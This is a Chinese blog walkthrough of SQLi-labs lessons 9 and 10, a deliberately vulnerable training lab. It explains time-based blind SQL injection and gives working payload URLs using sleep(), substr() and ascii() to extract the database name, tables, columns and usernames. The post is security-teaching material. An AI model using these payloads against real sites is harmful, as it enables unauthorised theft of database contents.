SQLI-labs-第九关和第十关

知识点:时间盲注

思路:

1、判断注入点

首先,我们先看一下注入点,输入?id=1

接着输入?id=1' #   结果还是没有变化

接着再输入 ?id=1" #  结果还是没变 

再输入?id=-1 结果还是一样

通过这几种测试方法,结果回显都是一样,既没有显示语句错误,也没有报错,我们可以猜测为时间盲注。但不知道是单引号、还是双引号,可以在下面证实。根据原理知道为单引号

2、时间盲注的函数

sleep() :时间函数,可以延时

if(条件表达式,True, Flase) : 如果条件表达式符合则会显示True的内容,反之则为Flase

length() :判断当前字符的长度

substr(str,pos,len) 

  • str为列名/字符串;
  • pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
  • len为截取字符个数/长度

ascii(): ascii 转码

3、判断当前数据库的长度以及库名

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())>3,sleep(5),1) --+

如果当前数据库的长度大于3的话,则延时5秒执行

注:注释符 get方式用 --+ post 方式用  #

通过这种方式可以推断出当前数据库的表的长度

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())=8,sleep(5),1) --+

接下来就可以推断数据库的名字,可以a~z,A~Z进行推断

我们从a开始试,试出第一个字母为 ’s' 

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

依次类推,通过改变subst()函数的值和ASCII码值,我们可以推出数据库名为“security”

4、判断表名

我们还是使用ascii转码和substr()

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+

第一张表的第一个字母为'e',依次类推,通过改变limit和subst()函数的值和ASCII码值可以推断出所有的表名

5、判断字段名

我们以users为例

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=101,sleep(5),1) --+

通过这样的步骤,可以推断出users表的所有字段

6、爆值

爆用户名

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1) --+

通过这种方式可以得到所有的信息


第10关

第10关的思路跟第9关的思路是一样的,只不过注入点的类型不同

1、判断注入点

回显是一样的,所以可以判断为时间盲注

通过下面的回显,可以判断为双引号的时间盲注,接下来的判断就跟第9关的一样


这篇文章就写到这里,哪里表述不清楚的欢迎批评指正

  • 25
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值